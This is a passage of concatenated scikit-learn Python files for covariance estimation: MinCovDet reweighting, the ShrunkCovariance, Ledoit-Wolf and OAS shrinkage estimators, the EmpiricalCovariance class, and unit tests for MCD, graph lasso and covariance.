        location_reweighted : array-like, shape (n_features, )
            Re-weighted robust location estimate.

        covariance_reweighted : array-like, shape (n_features, n_features)
            Re-weighted robust covariance estimate.

        support_reweighted : array-like, type boolean, shape (n_samples,)
            A mask of the observations that have been used to compute
            the re-weighted robust location and covariance estimates.

        """
        n_samples, n_features = data.shape
        mask = self.dist_ < chi2(n_features).isf(0.025)
        if self.assume_centered:
            location_reweighted = np.zeros(n_features)
        else:
            location_reweighted = data[mask].mean(0)
        covariance_reweighted = self._nonrobust_covariance(
            data[mask], assume_centered=self.assume_centered)
        support_reweighted = np.zeros(n_samples, dtype=bool)
        support_reweighted[mask] = True
        self._set_covariance(covariance_reweighted)
        self.location_ = location_reweighted
        self.support_ = support_reweighted
        X_centered = data - self.location_
        self.dist_ = np.sum(
            np.dot(X_centered, self.get_precision()) * X_centered, 1)
        return location_reweighted, covariance_reweighted, support_reweighted






"""
Covariance estimators using shrinkage.

Shrinkage corresponds to regularising `cov` using a convex combination:
shrunk_cov = (1-shrinkage)*cov + shrinkage*structured_estimate.

"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Gael Varoquaux <gael.varoquaux@normalesup.org>
#         Virgile Fritsch <virgile.fritsch@inria.fr>
#
# License: BSD 3 clause

# avoid division truncation
from __future__ import division
import warnings
import numpy as np

from .empirical_covariance_ import empirical_covariance, EmpiricalCovariance
from ..externals.six.moves import xrange
from ..utils import check_array


# ShrunkCovariance estimator

def shrunk_covariance(emp_cov, shrinkage=0.1):
    """Calculates a covariance matrix shrunk on the diagonal

    Read more in the :ref:`User Guide <shrunk_covariance>`.

    Parameters
    ----------
    emp_cov : array-like, shape (n_features, n_features)
        Covariance matrix to be shrunk

    shrinkage : float, 0 <= shrinkage <= 1
        Coefficient in the convex combination used for the computation
        of the shrunk estimate.

    Returns
    -------
    shrunk_cov : array-like
        Shrunk covariance.

    Notes
    -----
    The regularized (shrunk) covariance is given by

    (1 - shrinkage)*cov
      + shrinkage*mu*np.identity(n_features)

    where mu = trace(cov) / n_features

    """
    emp_cov = check_array(emp_cov)
    n_features = emp_cov.shape[0]

    mu = np.trace(emp_cov) / n_features
    shrunk_cov = (1. - shrinkage) * emp_cov
    shrunk_cov.flat[::n_features + 1] += shrinkage * mu

    return shrunk_cov


class ShrunkCovariance(EmpiricalCovariance):
    """Covariance estimator with shrinkage

    Read more in the :ref:`User Guide <shrunk_covariance>`.

    Parameters
    ----------
    store_precision : boolean, default True
        Specify if the estimated precision is stored

    shrinkage : float, 0 <= shrinkage <= 1, default 0.1
        Coefficient in the convex combination used for the computation
        of the shrunk estimate.

    assume_centered : boolean, default False
        If True, data are not centered before computation.
        Useful when working with data whose mean is almost, but not exactly
        zero.
        If False, data are centered before computation.

    Attributes
    ----------
    covariance_ : array-like, shape (n_features, n_features)
        Estimated covariance matrix

    precision_ : array-like, shape (n_features, n_features)
        Estimated pseudo inverse matrix.
        (stored only if store_precision is True)

    `shrinkage` : float, 0 <= shrinkage <= 1
        Coefficient in the convex combination used for the computation
        of the shrunk estimate.

    Notes
    -----
    The regularized covariance is given by

    (1 - shrinkage)*cov
      + shrinkage*mu*np.identity(n_features)

    where mu = trace(cov) / n_features

    """
    def __init__(self, store_precision=True, assume_centered=False,
                 shrinkage=0.1):
        super(ShrunkCovariance, self).__init__(store_precision=store_precision,
                                               assume_centered=assume_centered)
        self.shrinkage = shrinkage

    def fit(self, X, y=None):
        """ Fits the shrunk covariance model
        according to the given training data and parameters.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        y : not used, present for API consistence purpose.

        Returns
        -------
        self : object
            Returns self.

        """
        X = check_array(X)
        # Not calling the parent object to fit, to avoid a potential
        # matrix inversion when setting the precision
        if self.assume_centered:
            self.location_ = np.zeros(X.shape[1])
        else:
            self.location_ = X.mean(0)
        covariance = empirical_covariance(
            X, assume_centered=self.assume_centered)
        covariance = shrunk_covariance(covariance, self.shrinkage)
        self._set_covariance(covariance)

        return self


# Ledoit-Wolf estimator

def ledoit_wolf_shrinkage(X, assume_centered=False, block_size=1000):
    """Estimates the shrunk Ledoit-Wolf covariance matrix.

    Read more in the :ref:`User Guide <shrunk_covariance>`.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Data from which to compute the Ledoit-Wolf shrunk covariance shrinkage.

    assume_centered : Boolean
        If True, data are not centered before computation.
        Useful to work with data whose mean is significantly equal to
        zero but is not exactly zero.
        If False, data are centered before computation.

    block_size : int
        Size of the blocks into which the covariance matrix will be split.

    Returns
    -------
    shrinkage: float
        Coefficient in the convex combination used for the computation
        of the shrunk estimate.

    Notes
    -----
    The regularized (shrunk) covariance is:

    (1 - shrinkage)*cov
      + shrinkage * mu * np.identity(n_features)

    where mu = trace(cov) / n_features

    """
    X = np.asarray(X)
    # for only one feature, the result is the same whatever the shrinkage
    if len(X.shape) == 2 and X.shape[1] == 1:
        return 0.
    if X.ndim == 1:
        X = np.reshape(X, (1, -1))

    if X.shape[0] == 1:
        warnings.warn("Only one sample available. "
                      "You may want to reshape your data array")
    n_samples, n_features = X.shape

    # optionally center data
    if not assume_centered:
        X = X - X.mean(0)

    # A non-blocked version of the computation is present in the tests
    # in tests/test_covariance.py

    # number of blocks to split the covariance matrix into
    n_splits = int(n_features / block_size)
    X2 = X ** 2
    emp_cov_trace = np.sum(X2, axis=0) / n_samples
    mu = np.sum(emp_cov_trace) / n_features
    beta_ = 0.  # sum of the coefficients of <X2.T, X2>
    delta_ = 0.  # sum of the *squared* coefficients of <X.T, X>
    # starting block computation
    for i in xrange(n_splits):
        for j in xrange(n_splits):
            rows = slice(block_size * i, block_size * (i + 1))
            cols = slice(block_size * j, block_size * (j + 1))
            beta_ += np.sum(np.dot(X2.T[rows], X2[:, cols]))
            delta_ += np.sum(np.dot(X.T[rows], X[:, cols]) ** 2)
        rows = slice(block_size * i, block_size * (i + 1))
        beta_ += np.sum(np.dot(X2.T[rows], X2[:, block_size * n_splits:]))
        delta_ += np.sum(
            np.dot(X.T[rows], X[:, block_size * n_splits:]) ** 2)
    for j in xrange(n_splits):
        cols = slice(block_size * j, block_size * (j + 1))
        beta_ += np.sum(np.dot(X2.T[block_size * n_splits:], X2[:, cols]))
        delta_ += np.sum(
            np.dot(X.T[block_size * n_splits:], X[:, cols]) ** 2)
    delta_ += np.sum(np.dot(X.T[block_size * n_splits:],
                            X[:, block_size * n_splits:]) ** 2)
    delta_ /= n_samples ** 2
    beta_ += np.sum(np.dot(X2.T[block_size * n_splits:],
                           X2[:, block_size * n_splits:]))
    # use delta_ to compute beta
    beta = 1. / (n_features * n_samples) * (beta_ / n_samples - delta_)
    # delta is the sum of the squared coefficients of (<X.T,X> - mu*Id) / p
    delta = delta_ - 2. * mu * emp_cov_trace.sum() + n_features * mu ** 2
    delta /= n_features
    # get final beta as the min between beta and delta
    # We do this to prevent shrinking more than "1", which whould invert
    # the value of covariances
    beta = min(beta, delta)
    # finally get shrinkage
    shrinkage = 0 if beta == 0 else beta / delta
    return shrinkage


def ledoit_wolf(X, assume_centered=False, block_size=1000):
    """Estimates the shrunk Ledoit-Wolf covariance matrix.

    Read more in the :ref:`User Guide <shrunk_covariance>`.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Data from which to compute the covariance estimate

    assume_centered : boolean, default=False
        If True, data are not centered before computation.
        Useful to work with data whose mean is significantly equal to
        zero but is not exactly zero.
        If False, data are centered before computation.

    block_size : int, default=1000
        Size of the blocks into which the covariance matrix will be split.
        This is purely a memory optimization and does not affect results.

    Returns
    -------
    shrunk_cov : array-like, shape (n_features, n_features)
        Shrunk covariance.

    shrinkage : float
        Coefficient in the convex combination used for the computation
        of the shrunk estimate.

    Notes
    -----
    The regularized (shrunk) covariance is:

    (1 - shrinkage)*cov
      + shrinkage * mu * np.identity(n_features)

    where mu = trace(cov) / n_features

    """
    X = np.asarray(X)
    # for only one feature, the result is the same whatever the shrinkage
    if len(X.shape) == 2 and X.shape[1] == 1:
        if not assume_centered:
            X = X - X.mean()
        return np.atleast_2d((X ** 2).mean()), 0.
    if X.ndim == 1:
        X = np.reshape(X, (1, -1))
        warnings.warn("Only one sample available. "
                      "You may want to reshape your data array")
        n_samples = 1
        n_features = X.size
    else:
        n_samples, n_features = X.shape

    # get Ledoit-Wolf shrinkage
    shrinkage = ledoit_wolf_shrinkage(
        X, assume_centered=assume_centered, block_size=block_size)
    emp_cov = empirical_covariance(X, assume_centered=assume_centered)
    mu = np.sum(np.trace(emp_cov)) / n_features
    shrunk_cov = (1. - shrinkage) * emp_cov
    shrunk_cov.flat[::n_features + 1] += shrinkage * mu

    return shrunk_cov, shrinkage


class LedoitWolf(EmpiricalCovariance):
    """LedoitWolf Estimator

    Ledoit-Wolf is a particular form of shrinkage, where the shrinkage
    coefficient is computed using O. Ledoit and M. Wolf's formula as
    described in "A Well-Conditioned Estimator for Large-Dimensional
    Covariance Matrices", Ledoit and Wolf, Journal of Multivariate
    Analysis, Volume 88, Issue 2, February 2004, pages 365-411.

    Read more in the :ref:`User Guide <shrunk_covariance>`.

    Parameters
    ----------
    store_precision : bool, default=True
        Specify if the estimated precision is stored.

    assume_centered : bool, default=False
        If True, data are not centered before computation.
        Useful when working with data whose mean is almost, but not exactly
        zero.
        If False (default), data are centered before computation.

    block_size : int, default=1000
        Size of the blocks into which the covariance matrix will be split
        during its Ledoit-Wolf estimation. This is purely a memory
        optimization and does not affect results.

    Attributes
    ----------
    covariance_ : array-like, shape (n_features, n_features)
        Estimated covariance matrix

    precision_ : array-like, shape (n_features, n_features)
        Estimated pseudo inverse matrix.
        (stored only if store_precision is True)

    shrinkage_ : float, 0 <= shrinkage <= 1
        Coefficient in the convex combination used for the computation
        of the shrunk estimate.

    Notes
    -----
    The regularised covariance is::

        (1 - shrinkage)*cov
                + shrinkage*mu*np.identity(n_features)

    where mu = trace(cov) / n_features
    and shrinkage is given by the Ledoit and Wolf formula (see References)

    References
    ----------
    "A Well-Conditioned Estimator for Large-Dimensional Covariance Matrices",
    Ledoit and Wolf, Journal of Multivariate Analysis, Volume 88, Issue 2,
    February 2004, pages 365-411.

    """
    def __init__(self, store_precision=True, assume_centered=False,
                 block_size=1000):
        super(LedoitWolf, self).__init__(store_precision=store_precision,
                                         assume_centered=assume_centered)
        self.block_size = block_size

    def fit(self, X, y=None):
        """ Fits the Ledoit-Wolf shrunk covariance model
        according to the given training data and parameters.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training data, where n_samples is the number of samples
            and n_features is the number of features.
        y : not used, present for API consistence purpose.

        Returns
        -------
        self : object
            Returns self.

        """
        # Not calling the parent object to fit, to avoid computing the
        # covariance matrix (and potentially the precision)
        X = check_array(X)
        if self.assume_centered:
            self.location_ = np.zeros(X.shape[1])
        else:
            self.location_ = X.mean(0)
        covariance, shrinkage = ledoit_wolf(X - self.location_,
                                            assume_centered=True,
                                            block_size=self.block_size)
        self.shrinkage_ = shrinkage
        self._set_covariance(covariance)

        return self


# OAS estimator

def oas(X, assume_centered=False):
    """Estimate covariance with the Oracle Approximating Shrinkage algorithm.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Data from which to compute the covariance estimate.

    assume_centered : boolean
      If True, data are not centered before computation.
      Useful to work with data whose mean is significantly equal to
      zero but is not exactly zero.
      If False, data are centered before computation.

    Returns
    -------
    shrunk_cov : array-like, shape (n_features, n_features)
        Shrunk covariance.

    shrinkage : float
        Coefficient in the convex combination used for the computation
        of the shrunk estimate.

    Notes
    -----
    The regularised (shrunk) covariance is:

    (1 - shrinkage)*cov
      + shrinkage * mu * np.identity(n_features)

    where mu = trace(cov) / n_features

    The formula we used to implement the OAS
    does not correspond to the one given in the article. It has been taken
    from the MATLAB program available from the author's webpage
    (http://tbayes.eecs.umich.edu/yilun/covestimation).

    """
    X = np.asarray(X)
    # for only one feature, the result is the same whatever the shrinkage
    if len(X.shape) == 2 and X.shape[1] == 1:
        if not assume_centered:
            X = X - X.mean()
        return np.atleast_2d((X ** 2).mean()), 0.
    if X.ndim == 1:
        X = np.reshape(X, (1, -1))
        warnings.warn("Only one sample available. "
                      "You may want to reshape your data array")
        n_samples = 1
        n_features = X.size
    else:
        n_samples, n_features = X.shape

    emp_cov = empirical_covariance(X, assume_centered=assume_centered)
    mu = np.trace(emp_cov) / n_features

    # formula from Chen et al.'s **implementation**
    alpha = np.mean(emp_cov ** 2)
    num = alpha + mu ** 2
    den = (n_samples + 1.) * (alpha - (mu ** 2) / n_features)

    shrinkage = 1. if den == 0 else min(num / den, 1.)
    shrunk_cov = (1. - shrinkage) * emp_cov
    shrunk_cov.flat[::n_features + 1] += shrinkage * mu

    return shrunk_cov, shrinkage


class OAS(EmpiricalCovariance):
    """Oracle Approximating Shrinkage Estimator

    Read more in the :ref:`User Guide <shrunk_covariance>`.

    OAS is a particular form of shrinkage described in
    "Shrinkage Algorithms for MMSE Covariance Estimation"
    Chen et al., IEEE Trans. on Sign. Proc., Volume 58, Issue 10, October 2010.

    The formula used here does not correspond to the one given in the
    article. It has been taken from the Matlab program available from the
    authors' webpage (http://tbayes.eecs.umich.edu/yilun/covestimation).
    In the original article, formula (23) states that 2/p is multiplied by 
    Trace(cov*cov) in both the numerator and denominator, this operation is omitted
    in the author's MATLAB program because for a large p, the value of 2/p is so 
    small that it doesn't affect the value of the estimator. 

    Parameters
    ----------
    store_precision : bool, default=True
        Specify if the estimated precision is stored.

    assume_centered: bool, default=False
        If True, data are not centered before computation.
        Useful when working with data whose mean is almost, but not exactly
        zero.
        If False (default), data are centered before computation.

    Attributes
    ----------
    covariance_ : array-like, shape (n_features, n_features)
        Estimated covariance matrix.

    precision_ : array-like, shape (n_features, n_features)
        Estimated pseudo inverse matrix.
        (stored only if store_precision is True)

    shrinkage_ : float, 0 <= shrinkage <= 1
      coefficient in the convex combination used for the computation
      of the shrunk estimate.

    Notes
    -----
    The regularised covariance is::

        (1 - shrinkage)*cov
                + shrinkage*mu*np.identity(n_features)

    where mu = trace(cov) / n_features
    and shrinkage is given by the OAS formula (see References)

    References
    ----------
    "Shrinkage Algorithms for MMSE Covariance Estimation"
    Chen et al., IEEE Trans. on Sign. Proc., Volume 58, Issue 10, October 2010.

    """

    def fit(self, X, y=None):
        """ Fits the Oracle Approximating Shrinkage covariance model
        according to the given training data and parameters.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training data, where n_samples is the number of samples
            and n_features is the number of features.
        y : not used, present for API consistence purpose.

        Returns
        -------
        self: object
            Returns self.

        """
        X = check_array(X)
        # Not calling the parent object to fit, to avoid computing the
        # covariance matrix (and potentially the precision)
        if self.assume_centered:
            self.location_ = np.zeros(X.shape[1])
        else:
            self.location_ = X.mean(0)

        covariance, shrinkage = oas(X - self.location_, assume_centered=True)
        self.shrinkage_ = shrinkage
        self._set_covariance(covariance)

        return self






"""
Maximum likelihood covariance estimator.

"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Gael Varoquaux <gael.varoquaux@normalesup.org>
#         Virgile Fritsch <virgile.fritsch@inria.fr>
#
# License: BSD 3 clause

# avoid division truncation
from __future__ import division
import warnings
import numpy as np
from scipy import linalg

from ..base import BaseEstimator
from ..utils import check_array
from ..utils.extmath import fast_logdet, pinvh


def log_likelihood(emp_cov, precision):
    """Computes the sample mean of the log_likelihood under a covariance model

    computes the empirical expected log-likelihood (accounting for the
    normalization terms and scaling), allowing for universal comparison (beyond
    this software package)

    Parameters
    ----------
    emp_cov : 2D ndarray (n_features, n_features)
        Maximum Likelihood Estimator of covariance

    precision : 2D ndarray (n_features, n_features)
        The precision matrix of the covariance model to be tested

    Returns
    -------
    sample mean of the log-likelihood
    """
    p = precision.shape[0]
    log_likelihood_ = - np.sum(emp_cov * precision) + fast_logdet(precision)
    log_likelihood_ -= p * np.log(2 * np.pi)
    log_likelihood_ /= 2.
    return log_likelihood_


def empirical_covariance(X, assume_centered=False):
    """Computes the Maximum likelihood covariance estimator


    Parameters
    ----------
    X : ndarray, shape (n_samples, n_features)
        Data from which to compute the covariance estimate

    assume_centered : Boolean
        If True, data are not centered before computation.
        Useful when working with data whose mean is almost, but not exactly
        zero.
        If False, data are centered before computation.

    Returns
    -------
    covariance : 2D ndarray, shape (n_features, n_features)
        Empirical covariance (Maximum Likelihood Estimator).

    """
    X = np.asarray(X)
    if X.ndim == 1:
        X = np.reshape(X, (1, -1))

    if X.shape[0] == 1:
        warnings.warn("Only one sample available. "
                      "You may want to reshape your data array")

    if assume_centered:
        covariance = np.dot(X.T, X) / X.shape[0]
    else:
        covariance = np.cov(X.T, bias=1)

    if covariance.ndim == 0:
        covariance = np.array([[covariance]])
    return covariance


class EmpiricalCovariance(BaseEstimator):
    """Maximum likelihood covariance estimator

    Read more in the :ref:`User Guide <covariance>`.

    Parameters
    ----------
    store_precision : bool
        Specifies if the estimated precision is stored.

    assume_centered : bool
        If True, data are not centered before computation.
        Useful when working with data whose mean is almost, but not exactly
        zero.
        If False (default), data are centered before computation.

    Attributes
    ----------
    covariance_ : 2D ndarray, shape (n_features, n_features)
        Estimated covariance matrix

    precision_ : 2D ndarray, shape (n_features, n_features)
        Estimated pseudo-inverse matrix.
        (stored only if store_precision is True)

    """
    def __init__(self, store_precision=True, assume_centered=False):
        self.store_precision = store_precision
        self.assume_centered = assume_centered

    def _set_covariance(self, covariance):
        """Saves the covariance and precision estimates

        Storage is done accordingly to `self.store_precision`.
        Precision stored only if invertible.

        Parameters
        ----------
        covariance : 2D ndarray, shape (n_features, n_features)
            Estimated covariance matrix to be stored, and from which precision
            is computed.

        """
        covariance = check_array(covariance)
        # set covariance
        self.covariance_ = covariance
        # set precision
        if self.store_precision:
            self.precision_ = pinvh(covariance)
        else:
            self.precision_ = None

    def get_precision(self):
        """Getter for the precision matrix.

        Returns
        -------
        precision_ : array-like,
            The precision matrix associated to the current covariance object.

        """
        if self.store_precision:
            precision = self.precision_
        else:
            precision = pinvh(self.covariance_)
        return precision

    def fit(self, X, y=None):
        """Fits the Maximum Likelihood Estimator covariance model
        according to the given training data and parameters.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
          Training data, where n_samples is the number of samples and
          n_features is the number of features.

        y : not used, present for API consistence purpose.

        Returns
        -------
        self : object
            Returns self.

        """
        X = check_array(X)
        if self.assume_centered:
            self.location_ = np.zeros(X.shape[1])
        else:
            self.location_ = X.mean(0)
        covariance = empirical_covariance(
            X, assume_centered=self.assume_centered)
        self._set_covariance(covariance)

        return self

    def score(self, X_test, y=None):
        """Computes the log-likelihood of a Gaussian data set with
        `self.covariance_` as an estimator of its covariance matrix.

        Parameters
        ----------
        X_test : array-like, shape = [n_samples, n_features]
            Test data of which we compute the likelihood, where n_samples is
            the number of samples and n_features is the number of features.
            X_test is assumed to be drawn from the same distribution than
            the data used in fit (including centering).

        y : not used, present for API consistence purpose.

        Returns
        -------
        res : float
            The likelihood of the data set with `self.covariance_` as an
            estimator of its covariance matrix.

        """
        # compute empirical covariance of the test set
        test_cov = empirical_covariance(
            X_test - self.location_, assume_centered=True)
        # compute log likelihood
        res = log_likelihood(test_cov, self.get_precision())

        return res

    def error_norm(self, comp_cov, norm='frobenius', scaling=True,
                   squared=True):
        """Computes the Mean Squared Error between two covariance estimators.
        (In the sense of the Frobenius norm).

        Parameters
        ----------
        comp_cov : array-like, shape = [n_features, n_features]
            The covariance to compare with.

        norm : str
            The type of norm used to compute the error. Available error types:
            - 'frobenius' (default): sqrt(tr(A^t.A))
            - 'spectral': sqrt(max(eigenvalues(A^t.A))
            where A is the error ``(comp_cov - self.covariance_)``.

        scaling : bool
            If True (default), the squared error norm is divided by n_features.
            If False, the squared error norm is not rescaled.

        squared : bool
            Whether to compute the squared error norm or the error norm.
            If True (default), the squared error norm is returned.
            If False, the error norm is returned.

        Returns
        -------
        The Mean Squared Error (in the sense of the Frobenius norm) between
        `self` and `comp_cov` covariance estimators.

        """
        # compute the error
        error = comp_cov - self.covariance_
        # compute the error norm
        if norm == "frobenius":
            squared_norm = np.sum(error ** 2)
        elif norm == "spectral":
            squared_norm = np.amax(linalg.svdvals(np.dot(error.T, error)))
        else:
            raise NotImplementedError(
                "Only spectral and frobenius norms are implemented")
        # optionally scale the error norm
        if scaling:
            squared_norm = squared_norm / error.shape[0]
        # finally get either the squared norm or the norm
        if squared:
            result = squared_norm
        else:
            result = np.sqrt(squared_norm)

        return result

    def mahalanobis(self, observations):
        """Computes the squared Mahalanobis distances of given observations.

        Parameters
        ----------
        observations : array-like, shape = [n_observations, n_features]
            The observations, the Mahalanobis distances of the which we
            compute. Observations are assumed to be drawn from the same
            distribution than the data used in fit.

        Returns
        -------
        mahalanobis_distance : array, shape = [n_observations,]
            Squared Mahalanobis distances of the observations.

        """
        precision = self.get_precision()
        # compute mahalanobis distances
        centered_obs = observations - self.location_
        mahalanobis_dist = np.sum(
            np.dot(centered_obs, precision) * centered_obs, 1)

        return mahalanobis_dist






# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Gael Varoquaux <gael.varoquaux@normalesup.org>
#         Virgile Fritsch <virgile.fritsch@inria.fr>
#
# License: BSD 3 clause

import numpy as np

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raise_message
from sklearn.exceptions import NotFittedError

from sklearn import datasets
from sklearn.covariance import empirical_covariance, MinCovDet, \
    EllipticEnvelope
from sklearn.covariance import fast_mcd

X = datasets.load_iris().data
X_1d = X[:, 0]
n_samples, n_features = X.shape


def test_mcd():
    # Tests the FastMCD algorithm implementation
    # Small data set
    # test without outliers (random independent normal data)
    launch_mcd_on_dataset(100, 5, 0, 0.01, 0.1, 80)
    # test with a contaminated data set (medium contamination)
    launch_mcd_on_dataset(100, 5, 20, 0.01, 0.01, 70)
    # test with a contaminated data set (strong contamination)
    launch_mcd_on_dataset(100, 5, 40, 0.1, 0.1, 50)

    # Medium data set
    launch_mcd_on_dataset(1000, 5, 450, 0.1, 0.1, 540)

    # Large data set
    launch_mcd_on_dataset(1700, 5, 800, 0.1, 0.1, 870)

    # 1D data set
    launch_mcd_on_dataset(500, 1, 100, 0.001, 0.001, 350)


def test_fast_mcd_on_invalid_input():
    X = np.arange(100)
    assert_raise_message(ValueError, 'fast_mcd expects at least 2 samples',
                         fast_mcd, X)


def test_mcd_class_on_invalid_input():
    X = np.arange(100)
    mcd = MinCovDet()
    assert_raise_message(ValueError, 'MinCovDet expects at least 2 samples',
                         mcd.fit, X)


def launch_mcd_on_dataset(n_samples, n_features, n_outliers, tol_loc, tol_cov,
                          tol_support):

    rand_gen = np.random.RandomState(0)
    data = rand_gen.randn(n_samples, n_features)
    # add some outliers
    outliers_index = rand_gen.permutation(n_samples)[:n_outliers]
    outliers_offset = 10. * \
        (rand_gen.randint(2, size=(n_outliers, n_features)) - 0.5)
    data[outliers_index] += outliers_offset
    inliers_mask = np.ones(n_samples).astype(bool)
    inliers_mask[outliers_index] = False

    pure_data = data[inliers_mask]
    # compute MCD by fitting an object
    mcd_fit = MinCovDet(random_state=rand_gen).fit(data)
    T = mcd_fit.location_
    S = mcd_fit.covariance_
    H = mcd_fit.support_
    # compare with the estimates learnt from the inliers
    error_location = np.mean((pure_data.mean(0) - T) ** 2)
    assert(error_location < tol_loc)
    error_cov = np.mean((empirical_covariance(pure_data) - S) ** 2)
    assert(error_cov < tol_cov)
    assert(np.sum(H) >= tol_support)
    assert_array_almost_equal(mcd_fit.mahalanobis(data), mcd_fit.dist_)


def test_mcd_issue1127():
    # Check that the code does not break with X.shape = (3, 1)
    # (i.e. n_support = n_samples)
    rnd = np.random.RandomState(0)
    X = rnd.normal(size=(3, 1))
    mcd = MinCovDet()
    mcd.fit(X)


def test_outlier_detection():
    rnd = np.random.RandomState(0)
    X = rnd.randn(100, 10)
    clf = EllipticEnvelope(contamination=0.1)
    assert_raises(NotFittedError, clf.predict, X)
    assert_raises(NotFittedError, clf.decision_function, X)
    clf.fit(X)
    y_pred = clf.predict(X)
    decision = clf.decision_function(X, raw_values=True)
    decision_transformed = clf.decision_function(X, raw_values=False)

    assert_array_almost_equal(
        decision, clf.mahalanobis(X))
    assert_array_almost_equal(clf.mahalanobis(X), clf.dist_)
    assert_almost_equal(clf.score(X, np.ones(100)),
                        (100 - y_pred[y_pred == -1].size) / 100.)
    assert(sum(y_pred == -1) == sum(decision_transformed < 0))






""" Test the graph_lasso module.
"""
import sys

import numpy as np
from scipy import linalg

from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_less

from sklearn.covariance import (graph_lasso, GraphLasso, GraphLassoCV,
                                empirical_covariance)
from sklearn.datasets.samples_generator import make_sparse_spd_matrix
from sklearn.externals.six.moves import StringIO
from sklearn.utils import check_random_state
from sklearn import datasets


def test_graph_lasso(random_state=0):
    # Sample data from a sparse multivariate normal
    dim = 20
    n_samples = 100
    random_state = check_random_state(random_state)
    prec = make_sparse_spd_matrix(dim, alpha=.95,
                                  random_state=random_state)
    cov = linalg.inv(prec)
    X = random_state.multivariate_normal(np.zeros(dim), cov, size=n_samples)
    emp_cov = empirical_covariance(X)

    for alpha in (0., .1, .25):
        covs = dict()
        icovs = dict()
        for method in ('cd', 'lars'):
            cov_, icov_, costs = graph_lasso(emp_cov, alpha=alpha, mode=method,
                                             return_costs=True)
            covs[method] = cov_
            icovs[method] = icov_
            costs, dual_gap = np.array(costs).T
            # Check that the costs always decrease (doesn't hold if alpha == 0)
            if not alpha == 0:
                assert_array_less(np.diff(costs), 0)
        # Check that the 2 approaches give similar results
        assert_array_almost_equal(covs['cd'], covs['lars'], decimal=4)
        assert_array_almost_equal(icovs['cd'], icovs['lars'], decimal=4)

    # Smoke test the estimator
    model = GraphLasso(alpha=.25).fit(X)
    model.score(X)
    assert_array_almost_equal(model.covariance_, covs['cd'], decimal=4)
    assert_array_almost_equal(model.covariance_, covs['lars'], decimal=4)

    # For a centered matrix, assume_centered could be chosen True or False
    # Check that this returns indeed the same result for centered data
    Z = X - X.mean(0)
    precs = list()
    for assume_centered in (False, True):
        prec_ = GraphLasso(assume_centered=assume_centered).fit(Z).precision_
        precs.append(prec_)
    assert_array_almost_equal(precs[0], precs[1])


def test_graph_lasso_iris():
    # Hard-coded solution from R glasso package for alpha=1.0
    # The iris datasets in R and sklearn do not match in a few places, these
    # values are for the sklearn version
    cov_R = np.array([
        [0.68112222, 0.0, 0.2651911, 0.02467558],
        [0.00, 0.1867507, 0.0, 0.00],
        [0.26519111, 0.0, 3.0924249, 0.28774489],
        [0.02467558, 0.0, 0.2877449, 0.57853156]
        ])
    icov_R = np.array([
        [1.5188780, 0.0, -0.1302515, 0.0],
        [0.0, 5.354733, 0.0, 0.0],
        [-0.1302515, 0.0, 0.3502322, -0.1686399],
        [0.0, 0.0, -0.1686399, 1.8123908]
        ])
    X = datasets.load_iris().data
    emp_cov = empirical_covariance(X)
    for method in ('cd', 'lars'):
        cov, icov = graph_lasso(emp_cov, alpha=1.0, return_costs=False,
                                mode=method)
        assert_array_almost_equal(cov, cov_R)
        assert_array_almost_equal(icov, icov_R)


def test_graph_lasso_iris_singular():
    # Small subset of rows to test the rank-deficient case
    # Need to choose samples such that none of the variances are zero
    indices = np.arange(10, 13)

    # Hard-coded solution from R glasso package for alpha=0.01
    cov_R = np.array([
        [0.08, 0.056666662595, 0.00229729713223, 0.00153153142149],
        [0.056666662595, 0.082222222222, 0.00333333333333, 0.00222222222222],
        [0.002297297132, 0.003333333333, 0.00666666666667, 0.00009009009009],
        [0.001531531421, 0.002222222222, 0.00009009009009, 0.00222222222222]
    ])
    icov_R = np.array([
        [24.42244057, -16.831679593, 0.0, 0.0],
        [-16.83168201, 24.351841681, -6.206896552, -12.5],
        [0.0, -6.206896171, 153.103448276, 0.0],
        [0.0, -12.499999143, 0.0, 462.5]
    ])
    X = datasets.load_iris().data[indices, :]
    emp_cov = empirical_covariance(X)
    for method in ('cd', 'lars'):
        cov, icov = graph_lasso(emp_cov, alpha=0.01, return_costs=False,
                                mode=method)
        assert_array_almost_equal(cov, cov_R, decimal=5)
        assert_array_almost_equal(icov, icov_R, decimal=5)


def test_graph_lasso_cv(random_state=1):
    # Sample data from a sparse multivariate normal
    dim = 5
    n_samples = 6
    random_state = check_random_state(random_state)
    prec = make_sparse_spd_matrix(dim, alpha=.96,
                                  random_state=random_state)
    cov = linalg.inv(prec)
    X = random_state.multivariate_normal(np.zeros(dim), cov, size=n_samples)
    # Capture stdout, to smoke test the verbose mode
    orig_stdout = sys.stdout
    try:
        sys.stdout = StringIO()
        # We need verbose very high so that Parallel prints on stdout
        GraphLassoCV(verbose=100, alphas=5, tol=1e-1).fit(X)
    finally:
        sys.stdout = orig_stdout

    # Smoke test with specified alphas
    GraphLassoCV(alphas=[0.8, 0.5], tol=1e-1, n_jobs=1).fit(X)












# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Gael Varoquaux <gael.varoquaux@normalesup.org>
#         Virgile Fritsch <virgile.fritsch@inria.fr>
#
# License: BSD 3 clause

import numpy as np

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_greater

from sklearn import datasets
from sklearn.covariance import empirical_covariance, EmpiricalCovariance, \
    ShrunkCovariance, shrunk_covariance, \
    LedoitWolf, ledoit_wolf, ledoit_wolf_shrinkage, OAS, oas

X = datasets.load_diabetes().data
X_1d = X[:, 0]
n_samples, n_features = X.shape


def test_covariance():
    # Tests Covariance module on a simple dataset.
